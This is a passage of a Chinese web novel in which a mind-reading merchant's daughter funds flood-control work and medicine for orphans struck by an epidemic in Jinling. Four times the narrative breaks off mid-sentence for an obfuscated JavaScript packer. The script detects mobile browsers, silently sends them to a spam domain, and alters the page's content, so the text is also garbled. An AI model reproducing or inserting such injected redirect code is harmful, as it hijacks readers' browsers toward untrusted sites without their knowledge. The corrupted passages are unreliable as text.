“沈家小姐？哪个沈家？”今日所见的金陵富户乡绅中，就有一位姓沈，属实让他印象深刻。 士农工商，士贵商贱。 素来商贾见官吏畏如虎，少有淡然处之泰然自若者。 沈福达却有些不一样，他不仅不怕，还敢提要求。 旁人或多或少附和扶危济困，募资固堤，他呢，装聋作哑，顾左右而言他。 临了散场，还问宴上餐碟饭菜酒水能否外带些，就连清供、残羹剩炙都好意思当众开口要。 浸淫官场多年，早就练就了喜行不怒于色，周弘言还是险些失态。 滑不溜秋，油盐不进，一毛不拔，雁过拔毛。 “西街，沈家。” “这沈家小姐与其父行事作风竟有天壤之别。”周弘言感慨。 “护送女儿归来的沈家随从说，他们老爷视小姐如珠如宝。” 周弘言眼眸一亮。 头发丝绑得住老虎，善良儿女劝得转恶父。 第二日，吩咐亲信将谢礼，自巡抚衙门敲锣打鼓送至西街沈家。 刚准备出门的沈福达被这阵仗弄得一激灵，吩咐管家父子出面，扭头就回了主院。 “不是要出城去吗？” “今日不宜，晦气！” “怎么了这是？”岑内琇给他倒了杯凉茶，去去火。 “还不是那位新任巡抚，亲闺女差点被害了，明知道自己多招人恨，居然大张旗鼓送礼来，生怕别人不知道是我们沈家掺了一脚，真不知道是想报恩，还是报仇！”端起一饮而尽，沈福达吐出口浊气。 “不会怪到我们头上吧？” “那又如何，无非是狮子大开口罢了，就当喂猫喂狗。” “也对。不过，芳菲院那边还是多派点人，乖宝往后出门，也不能只让四个丫鬟跟着了。” “安排护卫暗处随行。” 另一边，徐力以救命恩人身份，把来客挡在了沈家门外，收下了谢礼。 随即将其送进芳菲院。 拿着礼单，沈宝珍才对改变了周兰溪命运这事有实感。 读心，似乎没她认为的那般烦人。 用对了地方，还能惩恶扬善，救人于水火。 说到救人，沈宝珍想到那个喊着要去死的洒扫丫鬟。 “那个洒扫丫鬟没出什么事吧？”冷不丁冒出这么一句，一旁绣着花的抚秋针差点扎着自己。 “小姐说的是…大丫？” 大丫？ 应该是吧。 沈宝珍颔首。 “她……”抚秋欲言又止。 沈宝珍的心咯噔了一下，不会是？ “她，还活着吗？” 抚秋哭笑不得。“小姐放心，她还活着，只是告假归家去了。” “喔。” 【幸好小姐不再追问，不然真不知道该怎么解释。】抚秋刚要收回视线，捏着针的指腹一紧。 【小姐为何这样看着我，莫不是听到说那腌臜事了？】 【得和知春说一声，院子里那些碎嘴子的丫鬟婆子得敲打敲打了，免得小姐听到什么不该听的，夜里又做噩梦惊着。】 沈宝珍越发好奇了，望着抚秋的目光里带着求知。 “你们瞒着我什么了？” “小姐？！” 【小姐这话是什么意思？难道还在问关于大丫的事？真不能跟小姐说，太糟心了。】 【她爹那个赌徒，把大丫卖了换赌资，气死了大丫亲娘，再娶后死性不改，终于把自己赌没了。】 【大丫后娘草草埋了人，带走了自己生的一双儿女，大丫的亲妹妹就只能被送进宸幼局，要不是领了月例特地归家一趟，怕是还被蒙在鼓里。】 【唉——】 “没事。”你继续想，我听着呢。 “嗯。”在心里又叹了口气，抚秋继续手里的活计。 沈宝珍：没了？算了，自己问。 “宸幼局是什么？” “嘶——” “怎么了？” “扎着手了。” “流冬，快拿药来。” 一通忙活下，手指被包裹起来，下针更不方便了，抚秋没了绣花的性子，有些心不在焉。 “小姐，你方才是问了奴婢，宸幼局吗？” 在流冬给她上药包扎那会，知春来问巡抚府送来的谢礼有无什么特别安排，沈宝珍说是让徐力等人各自领一份，就把宸幼局给忘了，抚秋这一提，沈宝珍又想起来了。 “问了。”坐等答案。 “小姐你是从哪听到的？” “你说的呀。” “奴婢说了？？”不会吧！ “说了。”反正她听到了。沈宝珍强调：“就说了这个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15749869|174288||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。”别问了，快解释。 抚秋按了按胸口，幸好。“宸幼局是官府收容孤儿的地方。” 沈宝珍恍悟。“有官府出面照料，就不会挨饿受冻了。” 曾在宸幼局待过两年的抚秋苦笑，没吱声。 【确实比流落街头好上一些，但朝廷拨下来的钱越来越少，乳母钱米拖欠，早就难以为继了，现在怕是名存实亡。】 【若不是夫人将自己从宸幼局领出来，她都不知道自己还能不能活到现在，更别提遇到小姐这般好的主子。】 沈宝珍诧异。 宸，紫宸，帝星所指。 如果没记错，当今东宫之主，之前的封号就是“宸”。 宸幼局，彰显太子殿下福泽万民之举，朝廷怎会克扣钱粮，况且是金陵城。 莫非，储君之位…… 原来，一切，早有端倪。 “小姐，小姐？” 端了碟糕点过来的流冬，见沈宝珍无故愣神，温声唤道。 “我要去宸幼局。”沈宝珍道。 流冬下意识看向抚秋，后者缩了缩脖子，她真不知道自己为什么会把宸幼局三个字说出口，还没有丁点印象。 “现在，立刻。”说完，也不管两人什么反应。 两刻钟后，马车依次经过文庙、贡院、官署、医馆，停在了一处弄巷。 “小姐，前面马车过不去了。”抚秋有些忐忑。 宸幼局原址左邻官署，右接惠民医馆，这会竟然迁至弄巷里。 连衙门都选择眼不见为净。 沿途好几次想劝小姐改变主意，但对上她一副若有所思的模样，又硬生生把到嘴边的话咽了回去，偷偷打了自己好几下。 死嘴，让你管不住自己。 “嗯。” 掀起帘子一角的抚秋，有些激动地说：“小姐，大丫在惠民医馆。” 见到人了，就不必非得去宸幼局了吧？ 她真怕小姐被冲撞了。 “我去叫她过来？” 沈宝珍摇头。 家逢变故，还进出医馆，自己这会出现倒像是添乱来了。 “小姐，前些天来过家中，给你把过平安脉的秦大夫，就是出自这惠民医馆。”流冬补充道。 【哎？怎么这么快出来了？还有…秦大夫？】抚秋继续观察着。 【她们这是，往宸幼局去？】 【是她那妹妹身子不适了？不行，必须拦着小姐！宸幼局里只要一个孩子病了，就会连着倒下大片。】 【小姐身子骨好不容易轻省些，可不能再沾染上不干净的东西。】 “让人去医馆说一声，日后宸幼局里看病抓药的费用都从沈家出，我就不下去了。”被两丫鬟心声念叨了一路的沈宝珍，揉了揉额角。 “是！”抚秋和流冬相视一笑，小姐可算是改变主意了。 与此同时，进入巷子的两人，七拐八拐终于来到宸幼局。 破败的院子，或坐或躺的孩童，呜咽、咳嗽声不停。 大丫脚步匆匆往里，来到角落抱着靠着草垫的二丫。 “二丫别怕，姐姐把大夫请来了，别担心，你肯定会好起……” 嗯？ 人呢？ 秦大夫知道宸幼局的孩子们过得不算好，可没想到，会是这般凄凉的模样。 一个两个瘦骨嶙峋，穿着打扮像是小乞儿，还都生着病。 就近蹲下给面色潮红、打着寒颤的小孩把了下脉。 秦大夫瞳孔一缩，不敢置信地扒开他的眼皮、口舌等观察，又挨个给其余孩子瞧了瞧。 这这这…要出大事了！ 5. 第 5 章 “秦大夫，可以看下我妹妹吗？”出来见着秦大夫，确认他没离开的大丫，折返回去将妹妹抱了出来，小心翼翼放在一处空地。 “好，我看看。” 强压下惊悸，脉一探，秦大夫的心更沉了。 全部，无一例外。 抬眼看向忐忑中带着希冀的大丫，秦大夫喉咙发堵，说不出话来。 “她怎么样？”说着，解开了一个有些磨损的荷包，露出好些铜板。“如果不够的话，我再想想办法。秦大夫放心，我是沈家小姐院里的丫鬟，绝不会拖欠不还。” “她，她们这些，都是同样的病症。”秦大夫缓缓起身，环顾四周。 “是什么病症？”看着怏怏的妹妹，大丫恨不得以身相替。 “疫病。”秦大夫面有戚戚。 观这群孩子的模样，因是发病初期，饮食不当、体质偏颇诱使。 好就好在，似乎喝过汤药。 虽不太对症、药效微弱，但起了一定作用。 所以，还不算最坏的情形。 多思无益，秦大夫唰唰写了张方子交给大丫，让她带着到医馆抓几副药，自己则留下来再诊治一番。 大丫前脚刚走，后脚就有一位老妇提着竹篮出现。 “怎得这么快就…你是…” “秦大夫？” “你是前几日来医馆的…你给这群孩子，喝给你开的药了？”秦大夫语气有些冲，落在老妇耳中，就是诘问。 “喝、喝了一些。”儿子儿媳顿顿盯着，她只能将煮过的药渣拿来，给同样生病了的孩子们试试。 但，是药三分毒，她怕是好心办坏事了。 越想越觉得可能，老妇脸色刷白，摇摇欲坠。 “不关阿婆的事，是我们要喝的。” “阿婆来啦！” “阿婆我饿。” “阿婆我好难受。” …… 秦大夫错愕不已，方才还死气沉沉的宸幼局，因为老妇的到来，生机一片。 所以他们一声不吭，不是因为不能，而是不想？ “秦大夫是好人。”老妇朝着秦大夫不好意思地笑笑，转而对个高的两个孩童道：“石头、花儿，你们带着弟弟妹妹们先吃点东西，阿婆和秦大夫说说话。” “嗯嗯。” “都听阿婆的。” 作为宸幼局曾经的一名乳母，这里收容的孤儿，也算她的孩子，没法坐视不理。 奈何家中属实拮据，亲儿在四海酒楼当杂役，到手的工钱勉强养活妻女。 老妇接着浆洗的活，才能逢五日，让这里的孩子吃上顿正常的饭菜，还都只能吃个半饱。 “秦大夫，可是那药有什么不对？我瞅着他们的气色越来越差，又实在拿不出余钱，只得往药渣里添了些水给他们喝上试试。”老妇都快愧疚死了，要是倒回几天前，她绝对不…… 秦大夫的回答，让她自责的情绪戛然而止。“你做得很对，若不是这样，现在他们应该都吃不了东西了。” 一群孩子不停吞咽着口水，也还是大的照顾小的，不争不抢，拿着自己那份吃着，露出满足的笑，惹人生怜。 “那他们……” “先担心下自己吧，伸手，我给你把个脉。”秦大夫幽幽叹了口气。 好人不长命，穷人不敢病。 老妇照做，屏息以待。 “发病快，药对症，好好休养。回去之前先到太阳底下晒晒，到家把身上穿的衣服换了，用草木灰洗净，先别来了。”秦大夫收回手，语气平淡。 “为什么？”老妇不解。 “他们得的是疫病。” 万一消息传开，旁边就是官署，这些孩子很可能是死路一条。 因为一旦失控，整个金陵城都将成为人间炼狱。 “疫…我不回去了，我留下。” “也好。”秦大夫觉得身上担子稍轻了点。。 “秦大夫，我们回来了！”不见其人，先闻其声，大丫扬声喊。 我们？ 秦大夫整个人都不好了，这地方来一个折一个。 不是让去医馆抓药的吗？怎么回事？ 原以为，能照着方子把药抓几副回来就很不错了，没成想，居然整整一大筐。 等等，为何要送这么多？ 药童未言先乐：“因为，路过的沈小姐发话，说宸幼局的药费她包了！” 秦大夫：笑，还笑，知不知道这里形势有多严峻？！ “谁？都包了？真的？”秦大夫不敢置信，问的是药童，目光却落在大丫身上。 她不会是沈家小姐的贴身丫鬟之一吧？ 不然，怎么这丫头刚找上自己，沈小姐就出现了，还大包大揽。 洒扫丫鬟大丫：小姐真好，小姐太好了，小姐怎么这么好，我要给小姐扫一辈子的院子。 “真的，是真的！所以大丫姑娘来抓药，掌柜当即大手一挥，让我们把用得上的药材都送来，还捎上了炉具和药罐子。”药童连说带比划，很是兴奋。“如果不够，我们再回去取。” “吃的喝的用的，先准备十日的量。十日之后，门未开，就别来了。”秦大夫抬手轰人。 被挡在门外的两药童：哎师傅不是，这些沈小姐没说她负责啊？！ 大丫弱弱开口：“我只告了三天假，明日得回沈家。” “没问题，如果你不怕把病气过给你家小姐的话。”秦大夫摊手。 大丫：！！！不回了！ 宸幼局此时发生的事，沈宝珍一无所知。 只听大丫托医馆药童送了口信，说是再告十日假。 自无不允。 * 三日后，城郊田庄。 “老爷，周巡抚携妻女登门拜访来了。”管家一下马车，就小跑着奔向沈福达。 “不见。”金陵大大小小的商贾没有一千也有八百吧，怎么就缠上他了。 迟迟不去驻地苏州，莫非是想一查到底？那不得把金陵的天给掀了？ “他们是专程前来感谢小姐救命之恩的。”管家连忙解释。 “不是已经送来谢礼了吗？算了，走走走，启程回家。” “马车已经在门口候着了。”管家松了口气，抬起袖子擦了擦脑门的汗。 两刻钟后，被颠得骨头要散架的沈福达，踏入沈家厅堂，听到周弘言提及前几日宴会上的内容。 就知道这厮醉翁之意不在酒！ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15749870|174288||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “江南多雨，年年水患，实属……” “失礼了失礼了，巡抚大人亲临寒舍，有失远迎，还望见谅！”沈福达拱手施礼。 【能爬到巡抚这个位置，果真不是好应付的。早不来晚不来，偏偏我出城看庄子收成时上门，真怀疑是故意挑这个时候，当官的都不是好人呐。】 “不请自来，冒昧叨扰，沈老爷莫要介怀才是。”周巡抚露出温和的笑。 【沈家田庄离金陵城十几里路，一来一回怎么也得半个时辰吧？怎么这么快就回来了？马上就聊到正事了，这可真是……】 被当成救命恩人，不得不陪着娘亲接待巡抚一家三口的沈宝珍：？？？ 【呼——老爷可算是回来了。这位巡抚忒有意思，打着谢恩的名义，行游说之实，莫不是以为妇道人家都好糊弄？谁家钱是大风刮来的？】岑内琇笑吟吟与李氏说着话，捎带着夸赞一番周兰溪，心下腹诽。 “兰溪少不经事，要学的地方还多着，我只盼着她日后安宁无忧。若能如沈小姐这般温婉贤淑、蕙质兰心，就更圆满了。” 作为贤内助，进行夫人外交对李氏而言就是家常便饭。 岑内琇是她打过交道的妇人里，身份最低的了，本不必如此屈尊降贵，可谁让她的闺女救了自己的女儿，枕边人还想通过她们破局。 如此这般，两人交谈间，并无明显的尊卑之分。 “我家乖宝确实好，知书达礼、秉性纯良……”岑内琇夸起沈宝珍来，恨不得把所有自己知道的好词都用上。 自家人知道自家的事，只爱看话本子的沈宝珍，真觉得自己与知书达礼不沾边。 被夸的当事人恨不得掩面遁走，被迫坐着听她夸孩子的李氏和周兰溪，一个嘴角抽了又抽，一个忍不住注视沈宝珍。 【沈姐姐这般好的人，若是知晓父亲所谋求的放淤固堤，是功在当代、利在千秋的大事，能惠及金陵甚至江南一带百姓，定会帮着说服沈老爷吧？可我要怎么开口？我好像开不了这个口。】 小姑娘周兰溪突然低下了头，静静坐在那里，整个人恍惚间黯淡了几分。 沈宝珍疑惑地看向这位官家小姐，又瞅了眼对面的巡抚夫人，目光转向上首打机锋的两位。 所以，周巡抚一家真正的目的，是想要募捐？ 官府已经穷到这份上了？ 堂堂江苏巡抚，也只能出此下策？ 难怪梦中自他之后，无人提及固堤，更遑论治河。 建兴二十三年，水患成灾、流民成寇… 好像是春末，青黄不接的时候。 如今是建兴二十一年，秋，那不是只剩一年多了？ 沈家被流民攻破，知春沉夏以身相替的画面在脑海中浮现，沈宝珍腾地站起，她绝不允许这一幕发生！ “乖宝怎么了？”岑内琇第一时间注意到她的举动，起身走近柔声关切。 “乖宝是不是饿了，也到了该用午饭的时间。”沈福达紧接着道。 【这一家子怎么还不走，难道真要自己开口送客？罢了，那就再费点口舌，请他们回去。】 “粗茶淡饭，恐怕巡抚大人吃不惯。” “我吃的惯。”不达目的不罢休。 “……” 6. 第 6 章 “娘亲、爹爹，我没事。我是想问问巡抚大人，固苏河堤所需多少银两？何时动工，可否尽快？” 沈福达：？？？闺女在说什么，我好像听不懂。 周巡抚：？？？这这这，莫不是？ 周弘言迅速扫了沈福达一眼，而后清了清嗓子。 “固苏河堤，预需十万两，若得募捐，应能在明年开春落成。”说完，又看向沈福达，像是等待着什么。 沈福达努了努嘴，又按住了。 “这十万两，沈家出了，伏愿大人践言。”区区十万两，她还以为要百万两。 明年春就能固好堤，后年应该不会被冲垮了吧？总觉得还不够。 沈福达揉了揉额角。 【今日不该出城，庄子收成就那点，还用得着亲自跑一趟？这下好了……唉。】 沈宝珍假装没听见，其他都好说，这事她必须掺和。不然得磨蹭到什么时候？ 许是屡屡碰壁，也习惯了办成一件要事，少不了迂回曲折，周弘言难得愣神。 听出沈宝珍对固堤的重视，他的老谋深算再度上线。 “此事关乎民生，本官必亲力亲为，以践此诺。沈小姐善举，助固堤防汛，实乃金陵百姓之幸。待苏河堤固，再行清淤，定可解水患之苦，届时还望沈家能再……”周弘言意味深长地看了沈福达一眼。 沈福达：想都别想！ “还要清淤？”沈宝珍提问。 “治理苏河，放淤固堤，方能算得上标本兼治，否则汛期一至，仍需提心吊胆……”周弘言虽是对着沈宝珍说，但余光始终留意着沈福达。 毕竟他才是一家之主，纵使沈宝珍再受宠，也不可能随口许出去十万两，何况他想要的不止十万两。 在来江南之前，周弘言就翻看过历年水患案牍，调阅库司关于河道、汛期的存档。 到这之后，结合地方志和实地考察，清楚意识到根治有多难，所以才会先固堤治标。 若有机会标本兼治，他无论如何都要争取一番。 其实清淤固堤还差得远，因为江南一带水患治理，属苏河最麻烦，不仅是天灾，还有人祸。 错综复杂，唯有一步一垒，徐徐图之，直至各个击破。 说着说着，见沈宝珍神色有异，周弘言语顿。 垂眸端起茶盏，思索着对方变卦，该如何一锤定音。 沈宝珍嗫嗫嚅嚅： “不能一边固堤一边清淤吗？如果再添十…二十万两，为期一年？” 周弘言敛衽端坐，指尖在与瓷壁接触的瞬间，微不可查地颤了颤。“可行。” 沈宝珍松了口气，表示这就回去取，省得劳烦巡抚大人再跑一趟。 她一走，厅堂陷入诡异的沉默。 置身于此，周兰溪如坐针毡。 就在她觉得有些喘不上气时，沉夏抱着一个木匣子折返，打开一看，赫然是满满当当的银票。 好多钱，她第一次见。 “我们小姐说，接下来的事，就拜托周大人了。” “定不负所托，必尽心竭力。”周弘言斩钉截铁道。 “本官代金陵二十万余户百姓，谢过沈小姐、沈老爷、沈夫人，沈家乐善好施的美名将于苏河堤畔刻石永存，待淤清堤固，本官还会将沈家义举上书奏明圣上。” 整整三十万两！ 不是三千两，也不是三万两。 若非怕此时上报会被人截胡用于别处，他恨不得现在就写，为沈家正名！ 谁说沈家老爷夫人守财奴，一个铁公鸡，一个周扒皮？他们明明是心有大爱、为国为民的仁商义贾。 若非有二人授意，沈家小姐怎会贸然应承，更不可能掏出三十万两银票，这可是三十万两啊？ 不怪周弘言激动，情难自抑。 因为在他的计划里，能有个一万两就顶天了。 要的不是数目，而是态度，一个突破口，向其他富户乡绅释放信号。 水患影响的何止靠天吃饭的农户，商户受到的损失往往更大，只不过他们更懂得趋利避害，未雨绸缪罢了。 他们何尝不想平息水患，可这个目标，绝非一朝一夕就能实现。 与其冒险激进，不如明哲保身。 所以，需要契机、表率。 吝啬如沈家都有所动作，消息传开，参与者只多不少。 暗盼着他新官上任第一把火烧不着的一个个，又能奈何？ 但，现在，这些都不是那么重要了。 当务之急，就是立刻开展苏河治理。 衙门，不差钱了！ 募民给值，雇役兴工，一举数得！ 他得在此盯着些，提上日程再奔赴苏州不迟。 沈福达和岑内琇的视线，始终落在装着银票的木匣子上。 根本没心思听周弘言说了什么，他们一家三口走的时候，都不想起身送了。 唉—— 夫妻俩在朝晖居长吁短叹。 耶—— 回到芳菲院的沈宝珍豁然开朗。 今日花三十万两，日后疏浚加固苏河，有望消金陵水患之忧，解流民破家之患。 只要继续花钱，花很多的钱，定然再无沈家为首富的可能，还能破爹爹为皇亲国戚之妄。 当败家子而已，谁不会？ 时间来到知府衙门发布招募告示这日。 “…官家招工，现钱结算…” “…吃皇粮，修河堤…” “…挣官钱，出苦力…” 征徭役有偿，百姓奔走相告，短短数日，就募齐四千多青壮。 “多亏了沈家啊，不然苏河哭河之名，怕是还要再续个十数年。” “都说但凡做买卖的，谁见着沈家夫妇都想绕道走，可就是这两口子，不声不响就捐出三十万两，只为了消除金陵水患。” “我看是那些人盼不得别人好，不然怎么担恶名的做善事？” “沈家有哪些生意，别的帮不上，柴米油盐酱醋茶倒是可以光顾沈家名下铺子。” “好像只有个酒楼和布行，其它就不清楚了。” “走走走，去瞧瞧。” …… 车厢内的沈福达听着街头巷尾议论纷纷，心都在滴血。 三十万两对沈家而言，只是九牛一毛，他们夫妇当晚就想通了。 闺女肯定是被那个噩梦吓住了，花钱能买安心有什么不好的呢。 要是百福寺那位秃驴有能耐，他们恨不得甩上五十万两，求他驱邪避灾，保乖宝顺风顺水，可他就只会说好话。 好话，爱听。 但，太多了，真的很难不往他是看在香油钱的份上想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15749871|174288||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 啊。 就像周弘言这厮，不做人呐！ 明明是乖宝出的钱，他居然在金陵为他们夫妻俩正名，只捎带了她。 所以，沈福达来到苏河畔，找上了周弘言。 乖宝花了钱，肯定得物有所值…不，物超所值啊！ 他们夫妻俩从不在意别人怎么看怎么想，但小姑娘家家有个好名声什么的，总归是利大于弊。 巡抚大人可太不会办事了，真不知道怎么往上爬的…… 沈福达骂骂咧咧了一路，见到周弘言的时候，听着他指挥工匠现场刻碑，当即表示上面别写他们夫妻俩，只留沈宝珍，本就是她的心意。 周弘言：“这怎么行，你们一家都是功臣。” 沈家如此仁义，他碍于种种没法上达天听，已经觉得愧对了，当然要在他能做主的地方，尽力扭转沈家的名声。 沈福达：“无功不受禄。”面对贪官污吏都没这么心累，摊上这位真是流年不利。 周弘言面带微笑：“可碑都刻好了。” 沈福达定睛一看，好家伙，碑上就三个名，他和夫人并列第一，乖宝孤零零在下面，还小了。 他捂着心口，为乖宝感到受伤，回去一定要给她补个百八十万两。 “沈老爷放心，这碑石与衙门外那块同源，所镌刻的姓名事迹，定能流芳百世，供后人瞻仰。” 觉得呕得慌的沈福达：这是你逼我的。 “既然如此，我也做点实质性贡献吧。” 周弘言两眼放光！！！脸上就差明晃晃写上：还给钱吗？ 沈福达心里：你在想屁吃！ 面上带着些许勉强：“我帮忙把清出的淤泥处理了。” 周弘言有些失望，但想了想，这个也行，正愁没地方安置。 沈福达继续道：“反正也要找地方堆放，对吧？” 周弘言点头：“对。” 沈福达指向役民：“那让他们送到沈家田庄。” 想起河淤肥田的周弘言：嗯…嗯？你这算帮忙了吗？ 最后，这事肯定是敲定了的。 沈家掏了三十万两，只是想要河里清出的淤泥，役民送哪不是送。 目的达成，沈福达背着手离开了苏河畔，一改来时嘴脸。 再看成群青壮役民的眼神，变成老虎盯一脚已经踏进领地的猎物，泛着贪婪的光。 嘿嘿。 回到家后，心情大好的沈福达，带着六十万两银票，来到芳菲院。 “先给你这些，不够就去自家钱庄支取。” “爹爹不怪我自作主张？”沈宝珍有些忸怩不安。 自打上次过后，她一直没去主院，其实是在逃避。 这阵子的心声听下来，她清楚地意识到爹爹娘亲不是她以为的那般，将钱财视为身外之物。 她一下子花出去三十万两，都是他们辛辛苦苦挣的，她好像有些不孝。 沈福达爽朗笑着：“我们怪你做甚？只要乖宝舒心，别说三十万两，哪怕是三百万，爹爹娘亲眼也不会眨一下。” 【闺女还是不清楚家底呐，沈家哪缺这三瓜两枣。再说了，反正钱从哪里花出去，他就能从哪里挣回来，足够乖宝锦衣玉食一辈子，甚至是下辈子，下下辈子。】 沈宝珍：！！！所以自己这样败家，还是太保守了？ 7. 第 7 章 送走财神爹，吩咐沉夏将美人榻搬至院里的梧桐树下，沈宝珍静静卧着，像尊玉雕，一动不动。 “小姐这是怎么了？” “不知，老爷一走就这样了。” “像是受了什么刺激。” “我倒觉着是无聊了，连话本子都不怎么爱看了，还有那闺阁雅集，更是提都没提过一次。” “你不说我都没发现，小姐自及笄宴后，确实变了些。” “或许是为日后婚事发愁，也不知道老爷夫人会给小姐找个什么样的郎君。” “别胡咧咧，这不是我们该操心的事，还是想想办法，让小姐开心些。” “那个洒扫丫鬟不是从宸幼局回来了吗？问问小姐乐不乐意见见。” “没想到抚秋平日里不爱逗闷子，一开口就是好点子。” “再胡咧咧？！” “不敢了不敢了，这就听抚秋姐姐的吩咐，去寻那洒扫丫鬟去。” 有了想法，还得看主子意思。 丫鬟们的窃窃私语声，沈宝珍听不见，就连她们的心声都因为发着呆，被大脑自动屏蔽了。 “小姐，大丫回来了，可要叫过来问问情况？” 【告假半月，一月才归，宸幼局药费更是近千两，吃的是药？是金子吧？！若非知晓秦大夫医者仁心，我都要怀疑，惠民医馆伙同宸幼局打劫来了。】 【小姐发善心放话包揽孤儿们的医药费，可这不是他们得寸进尺的理由，待会可得问个明白。】 沈宝珍回神，还有这事？那，见吧。 计划赶不上变化，终于被放回来的大丫，已经扫了好几天院子，一直想要见到沈宝珍表达自己无尽的谢意。 可惜，以她洒扫丫鬟的身份，能见到知春等人都难，更别说变宅的小姐了。 还以为得继续碰运气，没成想沉夏主动来找。 大丫一路上都在想，见到沈宝珍要怎么把宸幼局发生的事说明白，以及秦大夫及惠民医馆做的那些。 当真见着沈宝珍时，行动比脑子快多了，二话不说就朝着沈宝珍磕了三个响头。 这还是头一次有人对她行此大礼，沈宝珍懵圈了数息，忙让人起来说话。 大丫摇头，无比真诚道：“若不是小姐，我可能已经死了，宸幼局那些孩子肯定活不下来，或许连秦大夫、阿婆也难逃一劫。” 知春四人：？？？ “不敢欺瞒小姐，告假这些天，奴婢一直待在宸幼局。因家中出了变故，唯一的妹妹被送到宸幼局染上了疫病……” 流冬惊呼：“你说什么？”说着作势搀起沈宝珍。“你在出现疫病的宸幼局待了这么久，还敢回来？到底是何居心？” “小姐待你何等宽厚，你就是这般报答的？”沉夏怒气冲天，直接将跪在地上的大丫往远离沈宝珍的方向拖。 “天呐，疫病，其心可诛！” 抚秋急得六神无主，知春当即喊道。 “快，快请大夫来！” “得派人告诉老爷夫人，不行，得把这些天与这丫鬟接触过的人都看住，徐力，徐力？” 大丫忙解释道：“不是，不是这样的，我好了，已经好了，他们也没事了，都被秦大夫治好了，确认病灶除了，我才回来当差的，绝没有半分谋害小姐的心思，若违此誓，死无葬身之地！” 几句话功夫，人已经被沉夏拖到院子外面。 “都冷静点，让她说完。”沈宝珍拍了拍流冬的手背，眼神示意知春、抚秋。 沉夏和大丫又回到视线范围。 但和最初相较，与沈宝珍隔着十几步。 “就在这说吧，要是隐瞒半个字，你和你妹妹……”知春语带威胁。 这丫鬟看着怯懦，胆子却大。 若不好好管教，凭她能从一个洒扫丫鬟就被小姐记住，还为她屡屡破例，真不知道日后得了脸，会不会借着小姐的名头，闯出大祸。 有那么一瞬间，知春想要使点手段，将其赶出芳菲院，甚至是沈家。 可当与沈宝珍对视上时，忙打消了这个念头。 小姐好像，知道她在想什么。 “我绝对不会欺瞒小姐。”大丫忙不迭表忠心，紧接着把宸幼局和惠民医馆前阵子发生的事，从头到尾说了一遍。 纸包不住火。 被赶出门的药童，回到惠民医馆和掌柜的一说，他就意识到不对劲。 亲自跑了一趟后，一边叮嘱药童照办且守口如瓶，一边匆匆赶往官署。 站在官署外面徘徊了许久，终究还是没进去。 因为，他和秦大夫都很清楚这件事的性质。 别说是一个宸幼局，就算是贡院学子染了疫病，都可能直接被毁尸灭迹以绝后患，连带着他们惠民医馆也会受到牵连。 没到最坏的结果，人都有恻隐之心，宸幼局那帮孤儿过得已经够苦了，掌柜的思来想去，脑海中闪过新任巡抚大人。 途径金陵，屁股还没坐稳，就牟足劲治河，一看就是真正为民造福的好官。 他想，如果自己把这事告知巡抚大人，既能求得一线生机，也不算隐瞒不报，最终酿成大错。 有心之人自会发现，巡抚大人是在真正干实事，时不时就去苏河畔巡视，作为惠民医馆的掌柜，总能想办法见上。 于是就有了，宸幼局连带着惠民医馆那区域戒严的事，涉及人群都被控制。 也不知道有心还是无意，偏偏漏掉了坐马车路过的沈宝珍一行人。 所以，她现在才知道，自己险些中了招。 “秦大夫说，石头他们得的是痘疹，处在发病初期，通过隔离防范控制、草药对症缓解……现在已经和正常人无异了，所以奴婢才敢回来。” “痘疹就是天花，哪像你说的那么容易治好？”流冬表示存疑。 知春等人倒抽一口凉气，天花那可是要命的，几乎没听说有人得了天花还能活下来。 “是也不是，秦大夫说痘疹也分很多种，有的就是天花，有的只是症状像，还是能医治的。”大丫记不全乎秦大夫说过的话，只能转述个大概，但也够了。 “看她样子，确实不像有病的。”沉夏搓了搓碰过大丫的两只手。 注意到她这个小动作的沈宝珍，又瞅了瞅几人面色沉重的模样。“知春，请些大夫来，给大家都瞧瞧，就说…人有秋疾，三月难息，未雨绸缪。” “还是小姐想得周到。”知春绷紧的神经松弛了下来。 “谢小姐。”沉夏一喜。 “小姐近日莫要出门了，奴婢实在忧心。” 沈宝珍点头。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15749872|174288||http|test|mini|href|location''.split(''|''),0,{})); () { 